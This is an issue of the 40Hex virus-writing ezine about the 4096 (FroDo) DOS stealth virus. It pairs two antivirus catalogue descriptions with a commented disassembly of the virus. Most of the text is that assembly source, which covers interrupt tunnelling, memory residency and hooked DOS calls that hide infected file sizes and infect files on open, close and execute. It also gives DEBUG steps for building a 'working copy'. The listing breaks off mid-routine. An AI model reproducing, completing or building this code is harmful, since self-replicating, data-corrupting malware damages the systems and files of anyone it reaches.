40Hex Number 9 Volume 2 Issue 5                                       File 005


Virus Spotlite on: 4096

The 4096, or FroDo, virus was one of the first known stealth viruses.
Presented below are the descriptions found in Patricia Hoffman's VSUM
and in the Computer Virus Catalog.  Of course, the latter description
is far more accurate, albeit shorter.   The virus infects EXE and COM
files but not overlays due to the bizarre method with which it checks
for a valid file extension.  It also cannot handle SYS files.  It has
a boot block in it;  unfortunately, the code which is called to write
the boot block to the disk is damaged and the system crashes when the
virus attempts to access this code.  However, it is worthwhile to rip
out the boot block from the code and write it to a disk;  the display
is pretty neat.

To create a working copy, use debug to create a file with the follow-
ing bytes:

 E9 68 02

and tack on the virus to the end of that file.  Or, do the following:

C:\>DEBUG 4096.COM
-E FD
XXXX:00FD  00.E9   00.68   00.02
-R CX
CX 0FF1
:FF4
-W FD
Writing 0FF4 bytes
-Q

                                       - Dark Angel


                                    4096

Virus Name:  4096
Aliases:     Century Virus, FroDo, IDF Virus, Stealth Virus, 100 Years
             Virus
V Status:    Common
Discovery:   January, 1990
Symptoms:    .COM, .EXE, & overlay file growth; TSR hides growth;
             crosslinks; corruption of data files
Origin:      Israel
Eff Length:  4,096 Bytes
Type Code:   PRsA - Parasitic Resident .COM & .EXE Infector
Detection Method:  ViruScan, F-Prot, IBM Scan, VirexPC, AVTK, NAV, Novi,
                   Sweep, CPAV, UTScan, Gobbler2, VBuster, AllSafe,
                   ViruSafe
Removal Instructions: CleanUp, F-Prot, NAV or delete infected files

General Comments:
      The 4096 virus was first isolated in January, 1990.  This virus is
      considered a stealth virus in that it is almost invisible to the
      system user.

      The 4096 virus infects .COM, .EXE, and Overlay files, adding 4,096
      bytes to their length.  Once the virus is resident in system memory,
      the increase in length will not appear in a directory listing.  Once
      this virus has installed itself into memory, it will infect any
      executable file that is opened, including if it is opened with the
      COPY or XCOPY command.

      This virus is destructive to both data files and executable files,
      as it very slowly cross-links files on the system's disk.  The
      cross-linking occurs so slowly that it appears there is a hardware
      problem, the virus being almost invisible.  The cross-linking of
      files is the result of the virus manipulating the FATs, changing the
      number of available sectors, as well as the user issuing CHKDSK/F
      command which will think that the files have lost sectors or
      cross-linking if the virus is in memory.

      As a side note, if the virus is present in memory and you attempt to
      copy infected files, the new copy of the file will not be infected
      with the virus if the new copy does not have an executable file
      extension.  Thus, one way to disinfect a system is to copy off all
      the infected files to diskettes with a non-executable file extension
      (i.e., don't use .EXE, .COM, .SYS, etc.) while the virus is active in
      memory, then power off the system and reboot from a write-protected,
      uninfected system disk. Once rebooted and the virus is not in
      memory, delete the infected files and copy back the files from the
      diskettes to the original executable file names and extensions.

      The above will disinfect the system, if done correctly, but will
      still leave the problem of cross-linked files which are permanently
      damaged.

      On or after September 22 of any year, the 4096 virus will hang
      infected systems.  This appears to be a "bug" in the virus in that
      it goes into a time consuming loop.

      The 4096 virus also contains a boot-sector within its code; however,
      it is never written out to the disk's boot sector.  Moving this boot
      sector to the boot sector of a diskette and rebooting the system
      will result in the message "FRODO LIVES" being displayed. September
      22 is Bilbo and Frodo Baggin's birthday in the Lord of the Rings
      trilogy.

      An important note on the 4096 virus: this virus will also infect
      some data files.  When this occurs, the data files will appear to be
      fine on infected systems.  However, after the system is later
      disinfected, these files will now be corrupted and unpredictable
      results may occur.

      Known variant(s) of 4096 are:
      4096-B: Similar to the 4096 virus, the main change is that the
              encryption mechanism has been changed in order to avoid
              detection.
      4096-C: Isolated in January, 1991, this variant of 4096 is similar
              to the original virus.  The major difference is that the DOS
              CHKDSK command will not show any cross-linking of files or
              lost clusters.  A symptom of infection by this variant is
              that the disk space available according to a DIR command
              will be more than the disk space available according to the
              DOS CHKDSK program.
      4096-D: Isolated in April, 1992, this variant of 4096 is similar
              to the 4096-C variant in behavior.  The major difference is
              that it has been modified to avoid detection by some anti-
              viral utilities.
              Origin:  Unknown  April, 1992.

======== Computer Virus Catalog 1.2: "4096" Virus (5-June-1990) =======
Entry...............: "4096" virus
Alias(es)...........: "100 years" Virus = IDF Virus = Stealth Virus.
Virus Strain........: ---
Virus detected when.: October 1989.
             where.: Haifa, Israel.
Classification......: Program Virus (extending), RAM-resident.
Length of Virus.....: .COM files: length increased by 4096 bytes.
                     .EXE files: length increased by 4096 bytes.
--------------------- Preconditions -----------------------------------
Operating System(s).: MS-DOS
Version/Release.....: 2.xx upward
Computer model(s)...: IBM-PC, XT, AT and compatibles
--------------------- Attributes --------------------------------------
Easy Identification.: ---
Type of infection...: System: Allocates a memory block at high end of
                             memory. Finds original address (inside
                             DOS) of Int 21h handler. Finds original
                             address (inside BIOS) of Int 13h handler,
                             therefore bypasses all active monitors.
                             Inserts a JMP FAR to virus code inside
                             original DOS handler.
                     .COM files: program length increased by 4096
                     .EXE files: program length increased by 4096
Infection Trigger...: Programs are infected at load time (using the
                     function Load/Execute of MS-DOS), and whenever
                     a file Access is done to a file with the exten-
                     sion of .COM or .EXE, (Open file AH=3D,
                     Create file AH=3C, File attrib AH=43,
                     File time/date AH=57, etc.)
Interrupts hooked...: INT21h, through a JMP FAR to virus code inside
                             DOS handler;
                     INT01h, during virus installation & execution
                             of DOS's load/execute function (AH=4B);
                     INT13h, INT24h during infection.
Damage..............: The computer usually hangs up.
Damage Trigger......: A Get Dos Version call when the date is after the
                     22th of September and before 1/1 of next year.
Particularities.....: Infected files have their year set to (year+100)
                     of the un-infected file.
                     If the system is infected, the virus redirects
                     all file accesses so that the virus itself can
                     not be read from the file. Also, find first/next
                     function returns are tampered so that files
                     with (year>100) are reduced by 4096 bytes in size.
--------------------- Agents ------------------------------------------
Countermeasures.....: Cannot be detected while in memory, so no
                     monitor/file change detector can help.
Countermeasures successful:
                     1) A Do-it-yourself way: Infect system by running
                        an infected file, ARC/ZIP/LHARC/ZOO all in-
                        fected .COM and .EXE files, boot from unin-
                        fected floppy, and UNARC/UNZIP/LHARC E etc.
                        all files. Pay special attention to disin-
                        fection of COMMAND.COM.
                     2) The JIV AntiVirus Package (by the author of
                        this contribution)
                     3) F. Skulason's F-PROT package.
Standard means......: ---
--------------------- Acknowledgement ---------------------------------
Location............: Weizmann Institute, Israel.
Classification by...: Ori Berger
Documentation by....: Ori Berger
Date................: 26-February-1990
===================== End of "4096" Virus =============================

_4096           segment byte public
               assume  cs:_4096, ds:_4096

; 4096 Virus
; Disassembly done by Dark Angel of Phalcon/Skism for 40Hex Issue #9
; Assemble with TASM; the resultant file size is 4081 bytes

               org     0
startvirus:
               db      0
               jmp     installvirus
oldheader: ; original 1Ch bytes of the carrier file
               retn
               db      75h,02,44h,15h,46h,20h
               db      'Copyright Bourb%}i, I'
endoldheader:
EXEflag         db       00h
               db      0FEh, 3Ah

int1: ; locate the BIOS or DOS entry point for int 13h and int 21h
               push    bp                      ; set up stack frame
               mov     bp,sp
               push    ax
               cmp     word ptr [bp+4],0C000h  ; in BIOS?
               jnb     foundorigint            ; nope, haven't found it
               mov     ax,cs:DOSsegment        ; in DOS?
               cmp     [bp+4],ax
               jbe     foundorigint
exitint1:
               pop     ax
               pop     bp
               iret
foundorigint:
               cmp     byte ptr cs:tracemode,1
               jz      tracemode1
               mov     ax,[bp+4]               ; save segment of entry point
               mov     word ptr cs:origints+2,ax
               mov     ax,[bp+2]               ; save offset of entry point
               mov     word ptr cs:origints,ax
               jb      finishint1
               pop     ax
               pop     bp
               mov     ss,cs:savess            ; restore the stack to its
               mov     sp,cs:savesp            ; original state
               mov     al,cs:saveIMR           ; Restore IMR
               out     21h,al                  ; (enable interrupts)
               jmp     setvirusints
finishint1:
               and     word ptr [bp+6],0FEFFh  ; turn off trap flag
               mov     al,cs:saveIMR           ; and restore IMR
               out     21h,al
               jmp     short exitint1
tracemode1:
               dec     byte ptr cs:instructionstotrace
               jnz     exitint1
               and     word ptr [bp+6],0FEFFh  ; turn off trap flag
               call    saveregs
               call    swapvirint21            ; restore original int
               lds     dx,dword ptr cs:oldint1 ; 21h & int 1 handlers
               mov     al,1
               call    setvect
               call    restoreregs
               jmp     short finishint1

getint:
               push    ds
               push    si
               xor     si,si                   ; clear si
               mov     ds,si                   ; ds->interrupt table
               xor     ah,ah                   ; cbw would be better!?
               mov     si,ax
               shl     si,1                    ; convert int # to offset in
               shl     si,1                    ; interrupt table (int # x 4)
               mov     bx,[si]                 ; es:bx = interrupt vector
               mov     es,[si+2]               ; get old interrupt vector
                                               ; save 3 bytes if use les bx,[si]
               pop     si
               pop     ds
               retn

installvirus:
               mov     word ptr cs:stackptr,offset topstack
               mov     cs:initialax,ax         ; save initial value for ax
               mov     ah,30h                  ; Get DOS version
               int     21h

               mov     cs:DOSversion,al        ; Save DOS version
               mov     cs:carrierPSP,ds        ; Save PSP segment
               mov     ah,52h                  ; Get list of lists
               int     21h

               mov     ax,es:[bx-2]            ; segment of first MCB
               mov     cs:DOSsegment,ax        ; save it for use in int 1
               mov     es,ax                   ; es = segment first MCB
               mov     ax,es:[1]               ; Get owner of first MCB
               mov     cs:ownerfirstMCB,ax     ; save it
               push    cs
               pop     ds
               mov     al,1                    ; get single step vector
               call    getint
               mov     word ptr ds:oldint1,bx  ; save it for later
               mov     word ptr ds:oldint1+2,es; restoration
               mov     al,21h                  ; get int 21h vector
               call    getint
               mov     word ptr ds:origints,bx
               mov     word ptr ds:origints+2,es
               mov     byte ptr ds:tracemode,0 ; regular trace mode on
               mov     dx,offset int1          ; set new int 1 handler
               mov     al,1
               call    setvect
               pushf
               pop     ax
               or      ax,100h                 ; turn on trap flag
               push    ax
               in      al,21h                  ; Get old IMR
               mov     ds:saveIMR,al
               mov     al,0FFh                 ; disable all interrupts
               out     21h,al
               popf
               mov     ah,52h                  ; Get list of lists
               pushf                           ; (for tracing purposes)
               call    dword ptr ds:origints   ; perform the tunnelling
               pushf
               pop     ax
               and     ax,0FEFFh               ; turn off trap flag
               push    ax
               popf
               mov     al,ds:saveIMR           ; reenable interrupts
               out     21h,al
               push    ds
               lds     dx,dword ptr ds:oldint1
               mov     al,1                    ; restore int 1 to the
               call    setvect                 ; original handler
               pop     ds
               les     di,dword ptr ds:origints; set up int 21h handlers
               mov     word ptr ds:oldint21,di
               mov     word ptr ds:oldint21+2,es
               mov     byte ptr ds:jmpfarptr,0EAh ; jmp far ptr
               mov     word ptr ds:int21store,offset otherint21
               mov     word ptr ds:int21store+2,cs
               call    swapvirint21            ; activate virus in memory
               mov     ax,4B00h
               mov     ds:checkres,ah          ; set resident flag to a
                                               ; dummy value
               mov     dx,offset EXEflag+1     ; save EXE flag
               push    word ptr ds:EXEflag
               int     21h                     ; installation check
                                               ; returns checkres=0 if
                                               ; installed

               pop     word ptr ds:EXEflag     ; restore EXE flag
               add     word ptr es:[di-4],9
               nop                             ; !?
               mov     es,ds:carrierPSP        ; restore ES and DS to their
               mov     ds,ds:carrierPSP        ; original values
               sub     word ptr ds:[2],(topstack/10h)+1
                                               ; alter top of memory in PSP
               mov     bp,ds:[2]               ; get segment
               mov     dx,ds
               sub     bp,dx
               mov     ah,4Ah                  ; Find total available memory
               mov     bx,0FFFFh
               int     21h

               mov     ah,4Ah                  ; Allocate all available memory
               int     21h

               dec     dx                      ; go to MCB of virus memory
               mov     ds,dx
               cmp     byte ptr ds:[0],'Z'     ; is it the last block?
               je      carrierislastMCB
               dec     byte ptr cs:checkres    ; mark need to install virus
carrierislastMCB:
               cmp     byte ptr cs:checkres,0  ; need to install?
               je      playwithMCBs            ; nope, go play with MCBs
               mov     byte ptr ds:[0],'M'     ; mark not end of chain
playwithMCBs:
               mov     ax,ds:[3]               ; get memory size controlled
               mov     bx,ax                   ; by the MCB
               sub     ax,(topstack/10h)+1     ; calculate new size
               add     dx,ax                   ; find high memory segment
               mov     ds:[3],ax               ; put new size in MCB
               inc     dx                      ; one more for the MCB
               mov     es,dx                   ; es->high memory MCB
               mov     byte ptr es:[0],'Z'     ; mark end of chain
               push    word ptr cs:ownerfirstMCB ; get DOS PSP ID
               pop     word ptr es:[1]         ; make it the owner
               mov     word ptr es:[3],160h    ; fill in the size field
               inc     dx
               mov     es,dx                   ; es->high memory area
               push    cs
               pop     ds
               mov     cx,(topstack/2)         ; zopy 0-1600h to high memory
               mov     si,offset topstack-2
               mov     di,si
               std                             ; zopy backwards
               rep     movsw
               cld
               push    es                      ; set up stack for jmp into
               mov     ax,offset highentry     ; virus code in high memory
               push    ax
               mov     es,cs:carrierPSP        ; save current PSP segment
               mov     ah,4Ah                  ; Alter memory allocation
               mov     bx,bp                   ; bx = paragraphs
               int     21h
               retf                            ; jmp to virus code in high
highentry:                                      ; memory
               call    swapvirint21
               mov     word ptr cs:int21store+2,cs
               call    swapvirint21
               push    cs
               pop     ds
               mov     byte ptr ds:handlesleft,14h ; reset free handles count
               push    cs
               pop     es
               mov     di,offset handletable
               mov     cx,14h
               xor     ax,ax                   ; clear handle table
               rep     stosw
               mov     ds:hideclustercountchange,al ; clear the flag
               mov     ax,ds:carrierPSP
               mov     es,ax                   ; es->PSP
               lds     dx,dword ptr es:[0Ah]   ; get terminate vector (why?)
               mov     ds,ax                   ; ds->PSP
               add     ax,10h                  ; adjust for PSP
               add     word ptr cs:oldheader+16h,ax ; adjust jmp location
               cmp     byte ptr cs:EXEflag,0   ; for PSP
               jne     returntoEXE
returntoCOM:
               sti
               mov     ax,word ptr cs:oldheader; restore first 6 bytes of the
               mov     ds:[100h],ax            ; COM file
               mov     ax,word ptr cs:oldheader+2
               mov     ds:[102h],ax
               mov     ax,word ptr cs:oldheader+4
               mov     ds:[104h],ax
               push    word ptr cs:carrierPSP  ; Segment of carrier file's
               mov     ax,100h                 ; PSP
               push    ax
               mov     ax,cs:initialax         ; restore orig. value of ax
               retf                            ; return to original COM file

returntoEXE:
               add     word ptr cs:oldheader+0eh,ax
               mov     ax,cs:initialax         ; Restore ax
               mov     ss,word ptr cs:oldheader+0eh ; Restore stack to
               mov     sp,word ptr cs:oldheader+10h ; original value
               sti
               jmp     dword ptr cs:oldheader+14h ; jmp to original cs:IP
                                               ; entry point
entervirus:
               cmp     sp,100h                 ; COM file?
               ja      dont_resetstack         ; if so, skip this
               xor     sp,sp                   ; new stack
dont_resetstack:
               mov     bp,ax
               call    next                    ; calculate relativeness
next:
               pop     cx
               sub     cx,offset next          ; cx = delta offset
               mov     ax,cs                   ; ax = segment
               mov     bx,10h                  ; convert to offset
               mul     bx
               add     ax,cx
               adc     dx,0
               div     bx                      ; convert to seg:off
               push    ax                      ; set up stack for jmp
               mov     ax,offset installvirus  ; to installvirus
               push    ax
               mov     ax,bp
               retf                            ; go to installvirus

int21commands:
               db      30h     ; get DOS version
               dw      offset getDOSversion
               db      23h     ; FCB get file size
               dw      offset FCBgetfilesize
               db      37h     ; get device info
               dw      offset get_device_info
               db      4Bh     ; execute
               dw      offset execute
               db      3Ch     ; create file w/ handle
               dw      offset createhandle
               db      3Dh     ; open file
               dw      offset openhandle
               db      3Eh     ; close file
               dw      offset handleclosefile
               db      0Fh     ; FCB open file
               dw      offset FCBopenfile
               db      14h     ; sequential FCB read
               dw      offset sequentialFCBread
               db      21h     ; random FCB read
               dw      offset randomFCBread
               db      27h     ; random FCB block read
               dw      offset randomFCBblockread
               db      11h     ; FCB find first
               dw      offset FCBfindfirstnext
               db      12h     ; FCB find next
               dw      offset FCBfindfirstnext
               db      4Eh     ; filename find first
               dw      offset filenamefindfirstnext
               db      4Fh     ; filename find next
               dw      offset filenamefindfirstnext
               db      3Fh     ; read
               dw      offset handleread
               db      40h     ; write
               dw      offset handlewrite
               db      42h     ; move file pointer
               dw      offset handlemovefilepointer
               db      57h     ; get/set file time/date
               dw      offset getsetfiletimedate
               db      48h     ; allocate memory
               dw      offset allocatememory
endcommands:

otherint21:
               cmp     ax,4B00h                ; execute?
               jnz     notexecute
               mov     cs:checkres,al          ; clear the resident flag
notexecute:
               push    bp                      ; set up stack frame
               mov     bp,sp
               push    [bp+6]                  ; push old flags
               pop     cs:int21flags           ; and put in variable
               pop     bp                      ; why?
               push    bp                      ; why?
               mov     bp,sp                   ; set up new stack frame
               call    saveregs
               call    swapvirint21            ; reenable DOS int 21h handler
               call    disableBREAK
               call    restoreregs
               call    _pushall
               push    bx
               mov     bx,offset int21commands ; bx->command table
scanforcommand:
               cmp     ah,cs:[bx]              ; scan for the function
               jne     findnextcommand         ; code/subroutine combination
               mov     bx,cs:[bx+1]
               xchg    bx,[bp-14h]
               cld
               retn
findnextcommand:
               add     bx,3                    ; go to next command
               cmp     bx,offset endcommands   ; in the table until
               jb      scanforcommand          ; there are no more
               pop     bx
exitotherint21:
               call    restoreBREAK
               in      al,21h                  ; save IMR
               mov     cs:saveIMR,al
               mov     al,0FFh                 ; disable all interrupts
               out     21h,al
               mov     byte ptr cs:instructionstotrace,4 ; trace into
               mov     byte ptr cs:tracemode,1           ; oldint21
               call    replaceint1             ; set virus int 1 handler
               call    _popall
               push    ax
               mov     ax,cs:int21flags        ; get the flags
               or      ax,100h                 ; turn on the trap flag
               push    ax                      ; and set it in motion
               popf
               pop     ax
               pop     bp
               jmp     dword ptr cs:oldint21   ; chain back to original int
                                               ; 21h handler -- do not return

exitint21:
               call    saveregs
               call    restoreBREAK
               call    swapvirint21
               call    restoreregs
               pop     bp
               push    bp                      ; set up stack frame
               mov     bp,sp
               push    word ptr cs:int21flags  ; get the flags and put
               pop     word ptr [bp+6]         ; them on the stack for
               pop     bp                      ; the iret
               iret

FCBfindfirstnext:
               call    _popall
               call    callint21
               or      al,al                   ; Found any files?
               jnz     exitint21               ; guess not
               call    _pushall
               call    getdisktransferaddress
               mov     al,0
               cmp     byte ptr [bx],0FFh      ; Extended FCB?
               jne     findfirstnextnoextendedFCB
               mov     al,[bx+6]
               add     bx,7                    ; convert to normal FCB
findfirstnextnoextendedFCB:
               and     cs:hide_size,al
               test    byte ptr [bx+1Ah],80h   ; check year bit for virus
               jz      _popall_then_exitint21  ; infection tag. exit if so
               sub     byte ptr [bx+1Ah],0C8h  ; alter file date
               cmp     byte ptr cs:hide_size,0
               jne     _popall_then_exitint21
               sub     word ptr [bx+1Dh],1000h ; hide file size
               sbb     word ptr [bx+1Fh],0
_popall_then_exitint21:
               call    _popall
               jmp     short exitint21

FCBopenfile:
               call    _popall
               call    callint21               ; chain to original int 21h
               call    _pushall
               or      al,al                   ; 0 = success
               jnz     _popall_then_exitint21
               mov     bx,dx
               test    byte ptr [bx+15h],80h   ; check if infected yet
               jz      _popall_then_exitint21
               sub     byte ptr [bx+15h],0C8h  ; restore date
               sub     word ptr [bx+10h],1000h ; and hide file size
               sbb     byte ptr [bx+12h],0
               jmp     short _popall_then_exitint21

randomFCBblockread:
               jcxz    go_exitotherint21       ; reading any blocks?

randomFCBread:
               mov     bx,dx
               mov     si,[bx+21h]             ; check if reading first
               or      si,[bx+23h]             ; bytes
               jnz     go_exitotherint21
               jmp     short continueFCBread

sequentialFCBread:
               mov     bx,dx
               mov     ax,[bx+0Ch]             ; check if reading first
               or      al,[bx+20h]             ; bytes
               jnz     go_exitotherint21
continueFCBread:
               call    checkFCBokinfect
               jnc     continuecontinueFCBread
go_exitotherint21:
               jmp     exitotherint21
continuecontinueFCBread:
               call    _popall
               call    _pushall
               call    callint21               ; chain to original handler
               mov     [bp-4],ax               ; set the return codes
               mov     [bp-8],cx               ; properly
               push    ds                      ; save FCB pointer
               push    dx
               call    getdisktransferaddress
               cmp     word ptr [bx+14h],1     ; check for EXE infection
               je      FCBreadinfectedfile     ; (IP = 1)
               mov     ax,[bx]                 ; check for COM infection
               add     ax,[bx+2]               ; (checksum = 0)
               add     ax,[bx+4]
               jz      FCBreadinfectedfile
               add     sp,4                    ; no infection, no stealth
               jmp     short _popall_then_exitint21 ; needed
FCBreadinfectedfile:
               pop     dx                      ; restore address of the FCB
               pop     ds
               mov     si,dx
               push    cs
               pop     es
               mov     di,offset tempFCB       ; copy FCB to temporary one
               mov     cx,25h
               rep     movsb
               mov     di,offset tempFCB
               push    cs
               pop     ds
               mov     ax,[di+10h]             ; get old file size
               mov     dx,[di+12h]
               add     ax,100Fh                ; increase by virus size
               adc     dx,0                    ; and round to the nearest
               and     ax,0FFF0h               ; paragraph
               mov     [di+10h],ax             ; insert new file size
               mov     [di+12h],dx
               sub     ax,0FFCh
               sbb     dx,0
               mov     [di+21h],ax             ; set new random record #
               mov     [di+23h],dx
               mov     word ptr [di+0Eh],1     ; record size = 1
               mov     cx,1Ch
               mov     dx,di
               mov     ah,27h                  ; random block read 1Ch bytes
               call    callint21
               jmp     _popall_then_exitint21

FCBgetfilesize:
               push    cs
               pop     es
               mov     si,dx
               mov     di,offset tempFCB       ; copy FCB to temp buffer
               mov     cx,0025h
               repz    movsb
               push    ds
               push    dx
               push    cs
               pop     ds
               mov     dx,offset tempFCB
               mov     ah,0Fh                  ; FCB open file
               call    callint21
               mov     ah,10h                  ; FCB close file
               call    callint21
               test    byte ptr [tempFCB+15h],80h ; check date bit
               pop     si
               pop     ds
               jz      will_exitotherint21     ; exit if not infected
               les     bx,dword ptr cs:[tempFCB+10h] ; get filesize
               mov     ax,es
               sub     bx,1000h                ; hide increase
               sbb     ax,0
               xor     dx,dx
               mov     cx,word ptr cs:[tempFCB+0eh] ; get record size
               dec     cx
               add     bx,cx
               adc     ax,0
               inc     cx
               div     cx
               mov     [si+23h],ax             ; fix random access record #
               xchg    dx,ax
               xchg    bx,ax
               div     cx
               mov     [si+21h],ax             ; fix random access record #
               jmp     _popall_then_exitint21

filenamefindfirstnext:
               and     word ptr cs:int21flags,-2 ; turn off trap flag
               call    _popall
               call    callint21
               call    _pushall
               jnb     filenamefffnOK          ; continue if a file is found
               or      word ptr cs:int21flags,1
               jmp     _popall_then_exitint21

filenamefffnOK:
               call    getdisktransferaddress
               test    byte ptr [bx+19h],80h   ; Check high bit of date
               jnz     filenamefffnfileinfected; Bit set if infected
               jmp     _popall_then_exitint21
filenamefffnfileinfected:
               sub     word ptr [bx+1Ah],1000h ; hide file length increase
               sbb     word ptr [bx+1Ch],0
               sub     byte ptr [bx+19h],0C8h  ; and date change
               jmp     _popall_then_exitint21

createhandle:
               push    cx
               and     cx,7                    ; mask the attributes
               cmp     cx,7                    ; r/o, hidden, & system?
               je      exit_create_handle
               pop     cx
               call    replaceint13and24
               call    callint21               ; chain to original int 21h
               call    restoreint13and24
               pushf
               cmp     byte ptr cs:errorflag,0 ; check if any errors yet
               je      no_errors_createhandle
               popf
will_exitotherint21:
               jmp     exitotherint21
no_errors_createhandle:
               popf
               jc      other_error_createhandle; exit on error
               mov     bx,ax                   ; move handle to bx
               mov     ah,3Eh                  ; Close file
               call    callint21
               jmp     short openhandle
other_error_createhandle:
               or      byte ptr cs:int21flags,1; turn on the trap flag
               mov     [bp-4],ax               ; set the return code properly
               jmp     _popall_then_exitint21
exit_create_handle:
               pop     cx
               jmp     exitotherint21

openhandle:
               call    getcurrentPSP
               call    checkdsdxokinfect
               jc      jmp_exitotherint21
               cmp     byte ptr cs:handlesleft,0 ; make sure there is a free
               je      jmp_exitotherint21        ; entry in the table
               call    setup_infection         ; open the file
               cmp     bx,0FFFFh               ; error?
               je      jmp_exitotherint21      ; if so, exit
               dec     byte ptr cs:handlesleft
               push    cs
               pop     es
               mov     di,offset handletable
               mov     cx,14h
               xor     ax,ax                   ; find end of the table
               repne   scasw
               mov     ax,cs:currentPSP        ; put the PSP value and the
               mov     es:[di-2],ax            ; handle # in the table
               mov     es:[di+26h],bx
               mov     [bp-4],bx               ; put handle # in return code
handleopenclose_exit:
               and     byte ptr cs:int21flags,0FEh ; turn off the trap flag
               jmp     _popall_then_exitint21
jmp_exitotherint21:
               jmp     exitotherint21

handleclosefile:
               push    cs
               pop     es
               call    getcurrentPSP
               mov     di,offset handletable
               mov     cx,14h                  ; 14h entries max
               mov     ax,cs:currentPSP        ; search for calling PSP
scanhandle_close:
               repne   scasw
               jnz     handlenotfound          ; handle not trapped
               cmp     bx,es:[di+26h]          ; does the handle correspond?
               jne     scanhandle_close        ; if not, find another handle
               mov     word ptr es:[di-2],0    ; otherwise, clear handle
               call    infect_file
               inc     byte ptr cs:handlesleft ; fix handles left counter
               jmp     short handleopenclose_exit ; and exit
handlenotfound:
               jmp     exitotherint21

getdisktransferaddress:
               push    es
               mov     ah,2Fh                  ; Get disk transfer address
               call    callint21               ; to es:bx
               push    es
               pop     ds                      ; mov to ds:bx
               pop     es
               retn
execute:
               or      al,al                   ; load and execute?
               jz      loadexecute             ; yepper!
               jmp     checkloadnoexecute      ; otherwise check if
                                               ; load/no execute
loadexecute:
               push    ds                      ; save filename
               push    dx
               mov     word ptr cs:parmblock,bx; save parameter block and
               mov     word ptr cs:parmblock+2,es; move to ds:si
               lds     si,dword ptr cs:parmblock
               mov     di,offset copyparmblock ; copy the parameter block
               mov     cx,0Eh
               push    cs
               pop     es
               rep     movsb
               pop     si                      ; copy the filename
               pop     ds                      ; to the buffer
               mov     di,offset copyfilename
               mov     cx,50h
               rep     movsb
               mov     bx,0FFFFh
               call    allocate_memory         ; allocate available memory
               call    _popall
               pop     bp                      ; save the parameters
               pop     word ptr cs:saveoffset  ; on the stack
               pop     word ptr cs:savesegment
               pop     word ptr cs:int21flags
               mov     ax,4B01h                ; load/no execute
               push    cs                      ; ds:dx -> file name
               pop     es                      ; es:bx -> parameter block
               mov     bx,offset copyparmblock
               pushf                           ; perform interrupt 21h
               call    dword ptr cs:oldint21
               jnc     continue_loadexecute    ; continue if no error
               or      word ptr cs:int21flags,1; turn on trap flag
               push    word ptr cs:int21flags  ; if error
               push    word ptr cs:savesegment ; restore stack
               push    word ptr cs:saveoffset
               push    bp                      ; restore the stack frame
               mov     bp,sp                   ; and restore ES:BX to
               les     bx,dword ptr cs:parmblock ; point to the parameter
               jmp     exitint21               ; block
continue_loadexecute:
               call    getcurrentPSP
               push    cs
               pop     es
               mov     di,offset handletable   ; scan the handle table
               mov     cx,14h                  ; for the current PSP's
scanhandle_loadexecute:                         ; handles
               mov     ax,cs:currentPSP
               repne   scasw
               jnz     loadexecute_checkEXE
               mov     word ptr es:[di-2],0    ; clear entry in handle table
               inc     byte ptr cs:handlesleft ; fix handlesleft counter
               jmp     short scanhandle_loadexecute
loadexecute_checkEXE:
               lds     si,dword ptr cs:origcsip
               cmp     si,1                    ; Check if EXE infected
               jne     loadexecute_checkCOM
               mov     dx,word ptr ds:oldheader+16h ; get initial CS
               add     dx,10h                  ; adjust for PSP
               mov     ah,51h                  ; Get current PSP segment
               call    callint21
               add     dx,bx                   ;adjust for start load segment
               mov     word ptr cs:origcsip+2,dx
               push    word ptr ds:oldheader+14h       ; save old IP
               pop     word ptr cs:origcsip
               add     bx,10h                          ; adjust for the PSP
               add     bx,word ptr ds:oldheader+0Eh    ; add old SS
               mov     cs:origss,bx
               push    word ptr ds:oldheader+10h       ; old SP
               pop     word ptr cs:origsp
               jmp     short perform_loadexecute
loadexecute_checkCOM:
               mov     ax,[si]                 ; Check if COM infected
               add     ax,[si+2]
               add     ax,[si+4]
               jz      loadexecute_doCOM       ; exit if already infected
               push    cs                      ; otherwise check to see
               pop     ds                      ; if it is suitable for
               mov     dx,offset copyfilename  ; infection
               call    checkdsdxokinfect
               call    setup_infection
               inc     byte ptr cs:hideclustercountchange
               call    infect_file             ; infect the file
               dec     byte ptr cs:hideclustercountchange
perform_loadexecute:
               mov     ah,51h                  ; Get current PSP segment
               call    callint21
               call    saveregs
               call    restoreBREAK
               call    swapvirint21
               call    restoreregs
               mov     ds,bx                   ; ds = current PSP segment
               mov     es,bx                   ; es = current PSP segment
               push    word ptr cs:int21flags  ; restore stack parameters
               push    word ptr cs:savesegment
               push    word ptr cs:saveoffset
               pop     word ptr ds:[0Ah]       ; Set terminate address in PSP
               pop     word ptr ds:[0Ch]       ; to return address found on
                                               ; the stack
                                               ; (int 21h caller CS:IP)
               push    ds
               lds     dx,dword ptr ds:[0Ah]   ; Get terminate address in PSP
               mov     al,22h                  ; Set terminate address to it
               call    setvect
               pop     ds
               popf
               pop     ax
               mov     ss,cs:origss            ; restore the stack
               mov     sp,cs:origsp            ; and
               jmp     dword ptr cs:origcsip   ; perform the execute

loadexecute_doCOM:
               mov     bx,[si+1]               ; restore original COM file
               mov     ax,word ptr ds:[bx+si-261h]
               mov     [si],ax
               mov     ax,word ptr ds:[bx+si-25Fh]
               mov     [si+2],ax
               mov     ax,word ptr ds:[bx+si-25Dh]
               mov     [si+4],ax
               jmp     short perform_loadexecute
checkloadnoexecute:
               cmp     al,1
               je      loadnoexecute
               jmp     exitotherint21
loadnoexecute:
               or      word ptr cs:int21flags,1; turn on trap flag
               mov     word ptr cs:parmblock,bx; save pointer to parameter
               mov     word ptr cs:parmblock+2,es ; block
               call    _popall
               call    callint21               ; chain to int 21h
               call    _pushall
               les     bx,dword ptr cs:parmblock ; restore pointer to
                                               ; parameter block
               lds     si,dword ptr es:[bx+12h]; get cs:ip on execute return
               jc      exit_loadnoexecute
               and     byte ptr cs:int21flags,0FEh ; turn off trap flag
               cmp     si,1                    ; check for EXE infection
               je      loadnoexecute_EXE_already_infected
                                               ; infected if initial IP = 1
               mov     ax,[si]                 ; check for COM infection
               add     ax,[si+2]               ; infected if checksum = 0
               add     ax,[si+4]
               jnz     perform_the_execute
               mov     bx,[si+1]               ; get jmp location
               mov     ax,ds:[bx+si-261h]      ; restore original COM file
               mov     [si],ax
               mov     ax,ds:[bx+si-25Fh]
               mov     [si+2],ax
               mov     ax,ds:[bx+si-25Dh]
               mov     [si+4],ax
               jmp     short perform_the_execute
loadnoexecute_EXE_already_infected:
               mov     dx,word ptr ds:oldheader+16h ; get entry CS:IP
               call    getcurrentPSP
               mov     cx,cs:currentPSP
               add     cx,10h                  ; adjust for PSP
               add     dx,cx
               mov     es:[bx+14h],dx          ; alter the entry point CS
               mov     ax,word ptr ds:oldheader+14h
